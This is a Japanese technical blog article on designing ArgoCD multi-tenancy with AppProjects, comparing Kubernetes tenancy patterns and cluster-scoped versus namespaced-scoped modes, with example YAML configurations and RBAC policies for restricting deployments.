Clusterが数十個あり、Clusterによっては複数のチームが合計100個以上のマイクロサービスを動かしています。このような大規模なマイクロサービスシステムがいくつもある状況下で、ArgoCDのマルチテナント設計の知見を深められたため、記事で解説しました。書きたいことを全部書いたところ、情報量がエグいことになってしまったため、気になる章だけでも拾って帰っていただけるとハッピーです\uD83D\uDE4FKubernetesのマルチテナントパターン (3章)ArgoCDでのテナントパターン実践一覧 (4章)ArgoCDのClusterスコープモードとNamespacedスコープモード (5章)どのような誤った操作を防いでくれるのか (6章)それでは、もりもり布教していきます\uD83D\uDE1702. なぜマルチテナントが必要なのかシングルテナントの場合そもそも、なぜArgoCDにマルチテナントが必要なのでしょうか。例えば、マニフェストのデプロイ先となるプロダクト用Cluster (例:foo、bar、baz) があると仮定します。ArgoCDをシングルテナントにする場合、各プロダクトチームの操作するApplicationを同じテナントに共存させることになります。この場合、単一のargocd-server (ダッシュボード) から全てのApplicationを操作できて便利です。しかし、プロダクト用Cluster数が増えていくにつれて、問題が起こり始めます。例えば、いずれかのプロダクトチームが誤ったApplicationを操作し、結果的に誤ったプロダクト用Clusterにマニフェストをデプロイしてしまう可能性があります。もちろん、システムでインシデントを起こしてやろうという悪意を持った人が、誤ったプロダクト用Clusterを意図的に選ぶ可能性もあります\uD83D\uDE08マルチテナントの場合その一方で、いい感じのマルチテナントにしたとします。プロダクトチームは、認可されたテナントに所属するApplicationにのみを操作でき、反対に無認可のテナントのApplicationは操作できません。これにより、誤ったプロダクト用Clusterにマニフェストをデプロイすることを防げます。03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧ArgoCDのテナント設計を実践する前に、Kubernetesにはどんなマルチテナントパターンがあるのでしょうか。Kubernetesのマルチテナントパターンは、以下に大別できます。 Clustersas-a-Service Control Planesas-a-Service Namespacesas-a-Service カスタムリソーステナント テナント単位 実Cluster 仮想Cluster Namespace ツール固有の論理空間 テナント間でKubernetesリソースを分離できるか Clusterスコープリソース ✅ ✅ ✅ ツールによる Namespacedスコープリソース ✅ ✅ ツールによる ツール AWS EKSGCP GKEAzure AKEKubeadmなど Kcptensile-kubevclusterVirtualClusterなど Namespaceを増やすだけなので特別なツール不要 ArgoCDのAppProjectCapsuleのTenantkioskのAccountKubeZooのTenantなど ▶ 他のマルチテナントの分類方法について\\"ソフトマルチテナンシー\\" と \\"ハードマルチテナンシー\\" といった分類方法もあります。この分類方法では、テナント間の分離度の観点で各マルチテナントを種別します。ソフトマルチテナンシーは、互いに信頼できる前提の上で、テナント間を弱く分離します。その一方で、ハードマルチテナンシーは、互いに信頼できない前提の上でテナント間を強く分離します。分離度がソフトとハードのいずれであるかに客観的な指標がなく、やや曖昧な種別になってしまうため、本記事の X as-a-Service の方が個人的には好みです♡♡♡The Kubernetes Book: 2024 Edition (English Edition)Multi-tenancy | KubernetesMulti-tenancy - EKS Best Practices GuidesClusters as-a-ServiceClusters as-a-Serviceは、テナントごとに独立したClusterを提供します。ツールとして、AWS EKS、GCP GKE、Azure AKE、Kubeadmなどがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Control Planes as-a-ServiceControl Planes as-a-Serviceは、テナントごとに独立したコントロールプレーン (言い換えば仮想Cluster) を提供します。ツールとして、Kcp、tensile-kube、vcluster、VirtualClusterなどがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Namespaces as-a-ServiceNamespaces as-a-Serviceは、テナントごとに独立したNamespaceを提供します。Namespaceを増やすだけなため、ツールは不要です。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?カスタムリソーステナントカスタムリソーステナントは、テナントごとにツール固有の論理空間 (例:ArgoCDのAppProject、CapsuleのTenant、kioskのAccount、KubeZooのTenantなど) を提供します。ツールによっては、X as-a-Service も兼ねている場合があります。今回紹介するAppProjectは、前述の『Namespace as-a-Service』を兼ねています。AppProjectについては、カスタムリソーステナント で解説しています。04. ArgoCDでのテナントパターン実践一覧お待たせしました。ここからは、KubernetesのマルチテナントパターンをArgoCDで具体的に実践し、おすすめのパターン実践を解説していきます。なお、オススメするものを ★ としています。 実Clusterテナント 仮想Clusterテナント Namespaceテナント AppProjectテナントCLモード AppProjectテナントNSモード 対応するテナントパターン Clustersas-a-Service Control Planesas-a-Service Namespacesas-a-Service カスタムリソーステナント ArgoCDがテナント間で占有 / 共有 占有 占有 占有 共有 占有 テナント間でKubernetesリソースを分離できるか Namespacedスコープリソース ✅ ✅ ✅ ✅ ✅ Clusterスコープリソース ✅ ✅ オススメ ★ ★★ How many do you need? Argo CD Architectures Explained - 2024 Update | Akuity以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。04-02. Clusters as-a-Service 実践実Clusterテナント実Clusterテナントは、Clusters as-a-Serviceなテナントの実践であり、実際のClusterをテナントの単位とします。後述の仮想Clusterと対比させるために、\\"実Cluster\\" と呼ぶことにします。各プロダクトチームは、実Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。オススメしない理由実Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。半年以内にアップグレードしないとサポートが切れるKubernetesクラスターが33個もあって、泣いちゃった— 長谷川 広樹 (俺です) (@Hiroki__IT) January 18, 2023 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - テナントを増やすために実Clusterを用意する必要があり、作業量が多い。 ➡︎ IaCツールで実Clusterを用意するようにすれば作業量を減らせるが、やっぱりとてもつらい\uD83D\uDE2D 安全性(セキュリティ) ClusterからClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に実Clusterを保守しないといけない。(例:アップグレード、機能修正など) ➡︎ 回避できず、とてもつらい\uD83D\uDE2D 性能 Clusterのハードウェアリソースを他のテナントと奪い合うことなく、これを独占できる。 - ➡︎ - 信頼性 テナントごとに実Clusterが独立しており、他の実Clusterから障害の影響を受けない。 - ➡︎ - 04-03. Control Planes as-a-Service 実践仮想Clusterテナント - ★仮想Clusterテナントは、Control Planes as-a-Serviceなテナントの実践であり、仮想Clusterをテナントの単位とします。各プロダクトチームは、仮想Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Using Argo CD with vclusters. Managing deployment to multiple… | by Daniel Helfand | Argo Projectオススメした理由仮想Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにマニフェストで定義した仮想Clusterを用意するだけでよく、実Clusterを用意することと比べて作業量が少ない。 - ➡︎ - 安全性(セキュリティ) 仮想ClusterからホストClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に仮想Clusterを保守しないといけない。(例:アップグレード、機能修正など) ➡︎ 仮想Clusterに関する知見を持つ組織であれば、各テナントで保守できる。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとに仮想Clusterが独立しており、他の仮想Clusterから障害の影響を受けない。 - ➡︎ - 04-04. Namespaces as-a-Service 実践Namespaceテナントは、Namespaces as-a-Serviceなテナントの実践であり、Namespaceをテナントの単位とします。後述の AppProjectテナント は二重のテナントを持ち、Namespaceテナントも兼ねています。そのため、ここではNamespaceテナントの解説は省略します。04-05. カスタムリソーステナントの実践AppProjectテナントAppProjectテナントは、カスタムリソーステナントの実践であり、NamespaceとAppProjectをテナントの単位とします。AppProjectテナントは、二重のテナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持ち、\\"あらゆる面から\\" マニフェストのデプロイを制限します。特に、AppProjectはNamespaceスコープなカスタムリソースであり、自身に所属するApplicationを一括して制限します。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foo # 自身に所属するApplicationを制限するspec: ...apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: infra-application namespace: foospec: # foo-tenantに所属する project: foo-tenant ...Argo CD in Practice: The GitOps way of managing cloud-native applications (English Edition)Projects - Argo CD - Declarative GitOps CD for Kubernetes▶ カスタムリソースの仕様について.spec.scopeキーからも分かる通り、AppProjectはNamespacedスコープなカスタムリソースであり、任意のNamespaceを設定できます\uD83D\uDC4DapiVersion: apiextensions.k8s.io/v1kind: CustomResourceDefinitionmetadata: labels: app.kubernetes.io/name: appprojects.argoproj.io app.kubernetes.io/part-of: argocd name: appprojects.argoproj.iospec: group: argoproj.io names: kind: AppProject ... # Namespacedスコープなカスタムリソースであるとわかる scope: Namespaced... argo-cd/manifests/crds/appproject-crd.yaml at master \xb7 argoproj/argo-cd \xb7 GitHubExtend the Kubernetes API with CustomResourceDefinitions | KubernetesCLモード vs. NSモードArgoCDには、Clusterスコープモード と Namespacedスコープモード (以降、\\"CLモード\\" と \\"NSモード\\") があります。スコープモードに応じて、AppProjectテナントの設計方法が異なります。本章では、CLモードとNSモードの両方でAppProjectテナントを解説していきます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes05. CLモードなArgoCDCLモードなArgoCDとはCLモードなArgoCDの場合、各テナント間で共有のArgoCDを管理します例えば、AppProjectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。別途、ArgoCD専用のNamespace (argocd) を用意し、ここに関連するKubernetesリソース (例:ConfigMap) を配置します。各プロダクトチームは、AppProjectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesArgoCD: Multi-tenancy strategy. Introduction | by Geoffrey | MediumAppProjectNSモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App Of Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com # CLモードでは設定が必要である sourceNamespaces: - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。一方で後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。そのため、.spec.sourceNamespacesキーで、特定のNamespaceのApplicationがこのAppProjectに所属できないように、ApplicationのNamespaceを制限しています。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)NSモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm # 専用のNamespaceを設定する namespace: argocddata: # CLモードでは設定が必要である # 全てのNamespaceを指定したい場合は、ワイルドカードを設定する application.namespaces: \\"*\\".application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。一方での後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。--application-namespacesオプションで、任意のNamespaceにアクセスするための認可を設定できます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes▶ --application-namespacesオプションの設定方法についてargocd-cmd-params-cmの代わりに、例えば以下のようにPodに引数を直接渡しても良いです\uD83D\uDE46\uD83C\uDFFB‍例えば、以下のような実装になります。apiVersion: v1kind: Podmetadata: name: argocd-server namespace: argocdspec: containers: - name: argocd-server image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-server # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ...apiVersion: v1kind: Podmetadata: name: argocd-application-controller namespace: argocdspec: containers: - name: argocd-application-controller image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-application-controller # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ... `argocd-application-controller` Command Reference - Argo CD - Declarative GitOps CD for Kubernetes`argocd-server` Command Reference - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)NSモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm # 専用のNamespaceを設定する namespace: argocddata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:foo, *, *, foo/*/*, allow p, role:bar, *, *, bar/*/*, allow p, role:baz, *, *, baz/*/*, allow g, foo-team, role:foo g, bar-team, role:bar g, baz-team, role:baz scopes: \\"[groups]\\"認証済みグループ (foo-team、bar-team、baz-team) に対して、無認可のAppProject (foo、bar、baz) に所属するApplicationを操作できないように、認可スコープを制限しています。▶ AppProjectの認可定義の記法についてCasbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetesオススメしない理由CLモードなArgoCDのAppProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 ArgoCD用Clusterの管理者が単一のClusterを保守すればよい。(例:アップグレード、機能修正など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 - ClusterまたはArgoCDで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりにNodeやArgoCDを十分に冗長化して可用性を高めれば、影響を緩和できる。ただ、そもそもの影響範囲が大きすぎる\uD83D\uDE2D 05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはNSモードなArgoCDの場合、前述のCLモードとは異なり、各AppProjectテナント間でArgoCDを占有します。例えば、AppProjectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。各AppProjectテナントに、ArgoCDと関連するKubernetesリソース (例:ConfigMap) を配置します。各プロダクトチームは、AppProjectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesAppProjectCLモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App Of Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com# NSモードでは設定が不要である# sourceNamespaces:# - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできます。そのため、.spec.sourceNamespacesキーでマニフェストのデプロイを制限する必要はありません。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)CLモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# NSモードでは設定が不要である# application.namespaces: \\"*\\"前述の通り、.application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできますそのため、.application.namespacesキーでNamespaceに関する認可を設定する必要はありませんもちろん、Podのコンテナ引数にも設定は不要です。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)CLモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"認証済みグループ (app-team、infra-team) に対して、無認可のAppProject (app、infra) に所属するApplicationを操作できないように、認可スコープを制限しています。特にオススメした理由NSモードなArgoCDのAppProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 単一のClusterを保守すればよい。(例:アップグレード、機能修正など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとにArgoCDを占有しており、他のArgoCDから障害の影響を受けない。 Clusterで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりに、Nodeを十分に冗長化して可用性を高める。いずれかのインスタンスで障害が起こっても、正常なインスタンスでArgoCDが稼働できる。 AppProjectテナント例の一覧NSモードなArgoCDを採用する場合、AppProjectテナント例を解説していきます。前述の通り、AppProjectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。なお、オススメするものを ★ としています。 テナント例(二重テナント) オススメ Namespace(第一テナント) AppProject(第二テナント) テナント例1 プロダクトの実行環境別 プロダクトの実行環境別 テナント例2 プロダクト別 プロダクトの実行環境別 ★ テナント例3 プロダクト別 プロダクトのサブチーム別 ★★ ▶ Namespaceの分割パターンについて\\"管理チーム別\\" (今回でいうプロダクト別) というNamespaceの分割パターンは、様々な著名な書籍やブログで紹介されています\uD83D\uDC40 https://www.amazon.co.jp/dp/1617293725Kubernetes best practices: Specifying Namespaces in YAML | Google Cloud Blogテナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。この場合に、プロダクトの実行環境別にNamespace (dev、tes) とAppProject (dev、tes) を用意します。オススメしなかった理由テナント例1には、以下のメリデメがあります。独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりやすい。その時点で、AppProjectテナントの増やせなくなる。 ➡︎ 例えばAWS EKSの場合、Node数を増やしたり、Nodeのスペックを上げる。ただ、お金がかかる\uD83D\uDE2D 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 異なる実行環境に関するApplicationが共存しておらず、別のargocd-serverから操作することになるため、実行環境間の選択ミスが起こりにくい。 - ➡︎ - テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトの実行環境別にAppProject (dev、tes) を用意します。オススメした理由テナント例2には、以下のメリデメがあります。独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。特にオススメした理由テナント例3には、以下のメリデメがあります。独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可のサブチーム別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 06. どのような誤った操作を防いでくれるのかそろそろ解説を読むのがしんどい方がいるのではないでしょうか。『君がッ、泣くまで、解説をやめないッ!』AppProjectテナントとNamespacedスコープモードがマニフェストのデプロイをどのように制限するのかについて、例を挙げて解説します。ここでは、以下のAppProjectを作成したと仮定します。AppProjectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # appチーム name: app namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (app) へのデプロイを許可する - namespace: app server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comapiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # infraチーム name: infra namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (infra) へのデプロイを許可する - namespace: infra server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comマニフェストのデプロイ制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。AppProjectテナントは、例えば 赤線 の方法で、マニフェストのデプロイを制限します。マニフェストをデプロイできる場合マニフェストを正しくデプロイする場合、AppProjectテナントはこれを制限しません。(1) argocd-serverは、argocd-cmd-params-cmからアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、argocd-serverは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) fooプロダクトのinfraチームが、argocd-serverを操作します。(3) argocd-serverは、argocd-rbac-cmからApplication操作に関する認可スコープを取得しますapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"(4) infraチームは、認可されたAppProjectに所属するApplicationを操作します。(5) infraチームは、Dev環境のfooプロダクト用ClusterのNamespace (infra) にマニフェストをデプロイできます。(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが無認可のNamespace (bar) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。namespace bar is not permitted in project \'infra-team\'無認可のNamespaceでApplicationを作れてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/test/e2e/app_management_ns_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが、無認可のAppProject (app) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。Application referencing project \'app\' which does not exist任意のAppProjectでApplicationを作成できてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08(\uD83D\uDEAB制限例3) 無認可のClusterをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のプロダクト用Cluster (bar-cluster) をデプロイ先として指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://bar-cluster.gr7.ap-northeast-1.eks.amazonaws.com infra} is not permitted in project \'infra-team\'任意のClusterをデプロイ先に指定できてしまうと、Applicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のNamespace (app) をデプロイ先に指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com app} is not permitted in project \'infra-team\'任意のNamespaceをデプロイ先に指定できてしまうと、そのApplicationから無認可のNamespaceにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub▶ AppProjectで設定できる認可の種類についてargocd-serverとapplication-controllerでデプロイできるKubernetesリソースの種類 (.spec.clusterResourceWhitelistキー、.spec.namespaceResourceWhitelistキーなど)repo-serverでポーリングできるリポジトリ (.spec.sourceReposキー)apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: clusterResourceWhitelist: - group: \\"*\\" kind: \\"*\\" namespaceResourceWhitelist: - group: \\"*\\" kind: \\"*\\" sourceRepos: - \\"*\\" ...\\"AppProjectテナントによるマニフェストのデプロイ丸ごとの制限\\" という観点でテーマが異なるため、本記事では言及しませんでした\uD83D\uDE47\uD83C\uDFFB‍ Projects - Argo CD - Declarative GitOps CD for KubernetesDeclarative Setup - Argo CD - Declarative GitOps CD for KubernetesカスタムリソースのReconciliation制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。AppProjectテナントは、例えば 赤線 の方法で、ArgoCD系カスタムリソースに対するapplication-controllerのReconciliationを制限します。ArgoCD系カスタムリソースをReconciliationできる場合正しいNamespaceに対してReconciliationを実行する場合、AppProjectテナントはこれを制限しません。(1) application-controllerは、argocd-cmd-params-cmから自身がアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、application-controllerは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) application-controllerは、同じNamespaceに所属するArgoCD系カスタムリソースに対して、Reconciliationを実行します。(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合例えば、application-controllerがReconciliationの対象とするNamespaceを選ぼうとしているとします。すると、application-controllerは内部で検証メソッドを実行し、無認可のNamespace (bar) は選ばないようにします。argo-cd/controller/appcontroller_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub07. 